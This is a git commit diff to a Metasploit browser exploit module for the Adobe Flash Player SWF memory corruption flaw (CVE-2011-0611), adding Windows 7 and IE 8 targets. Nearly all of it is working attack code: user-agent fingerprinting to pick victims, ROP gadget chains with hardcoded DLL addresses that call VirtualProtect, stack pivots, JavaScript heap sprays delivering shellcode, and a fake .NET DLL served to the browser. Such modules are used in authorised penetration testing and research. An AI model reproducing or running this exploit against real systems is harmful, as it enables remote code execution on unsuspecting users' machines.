Add Windows 7 target and all kinds of stuff.
git-svn-id: file:///home/svn/framework3/trunk@13775 4d416f70-5f16-0410-b530-b9f4589650daunstable
Wei Chen
parent
5c41385284
commit
ec6f290fbd
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@ -20,12 +20,12 @@ class Metasploit3 < Msf::Exploit::Remote
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super(update_info(info,
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'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability in Adobe Flash Player that was discovered, and
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has been exploited actively in the wild. By embedding a specially crafted .swf file,
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Adobe Flash crashes due to an invalid use of an object type, which allows attackers to
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overwrite a pointer in memory, and results arbitrary code execution. Please note for
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IE 8 targets, mscorie.dll (a .Net component) must be available on the victim machine
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in order to work properly.
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This module exploits a vulnerability in Adobe Flash Player that was discovered,
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and has been exploited actively in the wild. By embedding a specially crafted .swf
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file, Adobe Flash crashes due to an invalid use of an object type, which allows
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attackers to overwrite a pointer in memory, and results arbitrary code execution.
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Please note for IE 8 targets, Java Runtime Environment must be available on the
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victim machine in order to work properly.
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},
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'License' => MSF_LICENSE,
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'Version' => "$Revision$",
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@ -58,10 +58,61 @@ class Metasploit3 < Msf::Exploit::Remote
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3', { 'Rop' => false } ],
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[ 'IE 7 on Windows XP SP3', { 'Rop' => false } ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => true } ],
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[ 'IE 7 on Windows Vista', { 'Rop' => false } ],
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[
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'IE 6 on Windows XP SP3',
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{
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'Rop' => false,
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'Pivot' => nil, #No ROP no pivot
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'Offset1' => '0x01', #For aligning the payload
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'Offset2' => '0x02', #For aligning the CALL
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'Max1' => '0x150', #First spray
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'Max2' => '0x200' #Second spray
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}
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],
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[
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'IE 7 on Windows XP SP3',
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{
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'Rop' => false,
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'Pivot' => nil, #No ROP no pivot
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'Offset1' => '0x01', #For aligning the payload
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'Offset2' => '0x02', #For aligning the CALL
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'Max1' => '0x150', #First spray
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'Max2' => '0x200' #Second spray
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}
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],
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[
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'IE 8 on Windows XP SP3',
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{
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'Rop' => true,
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'Pivot' => 0x7c348b05, #XCHG EAX,ESP; RETN (MSVCR71.dll)
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'Offset1' => '0x5E2', #Offset for rop+payload
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'Offset2' => '0x02', #Offset to 0x11111110
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'Max1' => '0x250', #First spray
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'Max2' => '0x200' #Second spray
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}
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],
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[
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'IE 7 on Windows Vista',
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{
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'Rop' => false,
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'Pivot' => nil, #No ROP no pivot
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'Offset1' => '0x01', #For aligning the payload
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'Offset2' => '0x02', #For aligning the CALL
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'Max1' => '0x150', #First spray
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'Max2' => '0x200' #Second spray
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}
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],
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[
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'IE 8 on Windows 7',
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{
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'Rop' => true,
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'Pivot' => 0x7c348b05, #XCHG EAX,ESP; RETN (MSVCR71.dll)
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'Offset1' => '0x5F4', #Offset for rop+payload
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'Offset2' => '0x02', #Offset to 0x11111110
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'Max1' => '0x150', #First spray
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'Max2' => '0x200' #Second spray
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "Apr 11 2011",
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@ -75,12 +126,10 @@ class Metasploit3 < Msf::Exploit::Remote
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end
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def exploit
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#Load the trigger file
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path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf")
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f = File.open(path, "rb")
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@trigger = f.read(f.stat.size)
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f.close
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super
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end
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@ -93,21 +142,20 @@ class Metasploit3 < Msf::Exploit::Remote
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
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#Windows XP SP3 + IE 7.0
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return targets[2]
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ and agent =~ /\.NET CLR 2\.0/
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#Windows XP SP3 + IE 8.0 + .Net CLR 2.0
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
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#Windows XP SP3 + IE 8.0 + JRE6
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return targets[3]
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
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#Windows Vista + IE 7
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return targets[4]
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
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#Windows 7 + IE 8 + JRE6
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return targets[5]
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else
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return nil
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end
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end
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def junk
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return rand_text_alpha(4).unpack("L")[0].to_i
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end
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def on_request_uri(cli, request)
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#Set default target
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my_target = target
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@ -115,118 +163,104 @@ class Metasploit3 < Msf::Exploit::Remote
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#If user chooses automatic target, we choose one based on user agent
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if my_target.name =~ /Automatic/
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my_target = get_target(request)
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#No suitable target, we go ninja mode
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if my_target.nil?
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send_not_found(cli)
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print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
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return
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end
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print_status("Target selected: #{my_target.name}") if datastore['VERBOSE']
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vprint_status("Target selected: #{my_target.name}")
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end
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uri = request.uri
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print_status("URL: #{uri}") if datastore['VERBOSE']
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vprint_status("URL: #{request.uri}")
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if uri =~ /\.swf$/
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if request.uri =~ /\.swf$/
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#Browser requests our trigger file, why not
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print_status("Sending trigger SWF to #{cli.peerhost}:#{cli.peerport}...")
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send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
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return
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elsif uri =~ /\.dll$/
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#Throw the browser a fake .Net DLL so mscorie.dll will load
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print_status("Sending .NET dll to #{cli.peerhost}:#{cli.peerport}...")
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ibase = (0x2000 | rand(0x8000)) << 16
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#Generate our .Net DLL with random data
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dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))
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#Generate our headers for the browser to download the dll
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headers = {
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'Content-Type' => 'application/x-msdownload',
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'Connection' => 'close',
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'Pragma' => 'no-cache'
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}
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send_response(cli, dll, headers)
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return
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end
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#The type of arch our victim machine is running
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#Targets that don't need ROP
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rop = ''
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pivot = "\xb8\x0c\x0c\x0c\x0c" #MOV EAX,0x0c0c0c0c
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pivot << "\xff\xe0" #JMP EAX
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pivot << "\x41" #Pad
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#Targets that need ROP
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if my_target['Rop']
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#Target Addr=0x0c0c0c0c
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rop =
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[
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0x7c376402, # POP EBP # RETN [msvcr71.dll]
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0x7c376402, # skip 4 bytes [msvcr71.dll]
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0x7c347f97, # POP EAX # RETN [msvcr71.dll]
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0xfffff800, # Value to negate, will become 0x00000201 (dwSize)
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0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
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0x7c354901, # POP EBX # RETN [msvcr71.dll]
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0xffffffff,
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0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
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0x7c344f87, # POP EDX # RETN [msvcr71.dll]
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0xffffffc0, # Value to negate, will become 0x00000040
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0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
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0x7c34d201, # POP ECX # RETN [msvcr71.dll]
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0x7c38b001, # &Writable location [msvcr71.dll]
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0x7c34b8d7, # POP EDI # RETN [msvcr71.dll]
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0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
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0x7c364802, # POP ESI # RETN [msvcr71.dll]
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0x7c3415a2, # JMP [EAX] [msvcr71.dll]
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0x7c347f97, # POP EAX # RETN [msvcr71.dll]
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
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0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
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].pack("V*")
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#Target Addr=0x11111110
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pivot =
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[
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0x0c0c0c0c, # Padding. Value for ESP after the XCHG pivot
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my_target['Pivot'], # ROP Pivot
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0x7c346b52, # EAX (POP ESP; RETN)
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].pack('V*')
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end
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arch = Rex::Arch.endian(my_target.arch)
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if my_target['Rop']
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#DEP is enabled, rop it like a rop star
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net_dll_name = "#{get_resource}/generic-" + Time.now.to_i.to_s + ".dll"
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js_net_dll = "<object classid=\"#{net_dll_name}\"#GenericControl\"></object>"
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#Land it exactly at 0x11111110
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rop =
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[
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0x63F031D8, #POP ECX; POP ESI; RETN
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junk,
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0x7E451509, #XCHG EAX,ESP; RETN in USER32
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0x63f04d74, #CALL mscorie!_imp_VirtualProtect
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0x11111138, #Param: shellcode (Target address = 0x11111110+0x24)
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0x900, #Param: size (2304)
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0x40, #Param: newProtect
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0x11111110, #Param: oldProtect
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0x11111138, #RETN (Target address = 0x11111110+0x24)
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junk,
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].pack('V*')
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#Our payload will land at 11111110
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shellcode = Rex::Text.to_unescape(rop + payload.encoded, arch)
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nops = Rex::Text.to_unescape(rand_text_alpha(4), arch)
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#Heap spray routine
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js = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{shellcode}");
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var nops = unescape("#{nops}");
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while (nops.length < 0x1000) nops += nops;
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offset = nops.substring(0, 0x62);
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x20000) shellcode += shellcode;
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block = shellcode.substring(0, (0x10000-6)/2);
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heap_obj.gc();
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for (var i=0; i < 0x1000; i++) {
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heap_obj.alloc(block);
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}
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JS
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p = rop + payload.encoded
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shellcode = Rex::Text.to_unescape(p, arch)
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pivot = Rex::Text.to_unescape(pivot, arch)
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#Extract string based on target
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if my_target.name == 'IE 8 on Windows 7'
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js_extract_str = "var block = shellcode.substring(0, (0x7ffc0-6)/2);"
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elsif my_target.name == 'IE 8 on Windows XP SP3'
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js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
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else
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#No DEP, giggity. 0x0c0c0c0c is our target address
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nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
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shellcode = Rex::Text.to_unescape(payload.encoded, arch)
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#Heap spray routine
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js = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{shellcode}");
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var nops = unescape("#{nops}");
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while (nops.length < 0x1000) nops += nops;
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var shellcode = nops.substring(0, 0x1000-code.length) + code;
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while (shellcode.length < 0x20000) shellcode += shellcode;
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block = shellcode.substring(0, (0x10000-6)/2);
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heap_obj.gc();
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for (var i=0; i < 0x1000; i++) {
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heap_obj.alloc(block);
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}
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JS
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js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
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end
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#Implement heaplib
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js = heaplib(js)
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js = <<-JS
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function heap_spray(heaplib, nops, code, offset, max) {
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while (nops.length < 0x2000) nops += nops;
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var offset = nops.substring(0, offset);
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var shellcode = offset + code + nops.substring(0, 0x2000-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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#{js_extract_str}
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heaplib.gc();
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for (var i=1; i<max; i++) {
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heaplib.alloc(block);
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}
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}
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var heap_obj = new heapLib.ie(0x20000);
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var nops = unescape("%u0c0c%u0c0c");
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var code = unescape("#{shellcode}");
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heap_spray(heap_obj, nops, code, #{my_target['Offset1']}, #{my_target['Max1']});
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var fake_pointers = unescape("#{pivot}");
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heap_spray(heap_obj, fake_pointers, fake_pointers, #{my_target['Offset2']}, #{my_target['Max2']});
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JS
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js = heaplib(js, {:noobfu => true} )
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#Javascript obfuscation is optional
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if datastore['OBFUSCATE']
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@ -244,7 +278,6 @@ class Metasploit3 < Msf::Exploit::Remote
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</script>
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</head>
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<body>
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#{js_net_dll}
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<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"
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codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
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<param name="movie" value="#{trigger_file_name}" />
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@ -279,4 +312,5 @@ Flash10o+0xd01f6:
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01d65100 00000000 00000000 00000000 00000000
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01d65110 00000000 00000000 00000000 00000000
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01d65120 00000000 00000000 00000000 00000000
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=end
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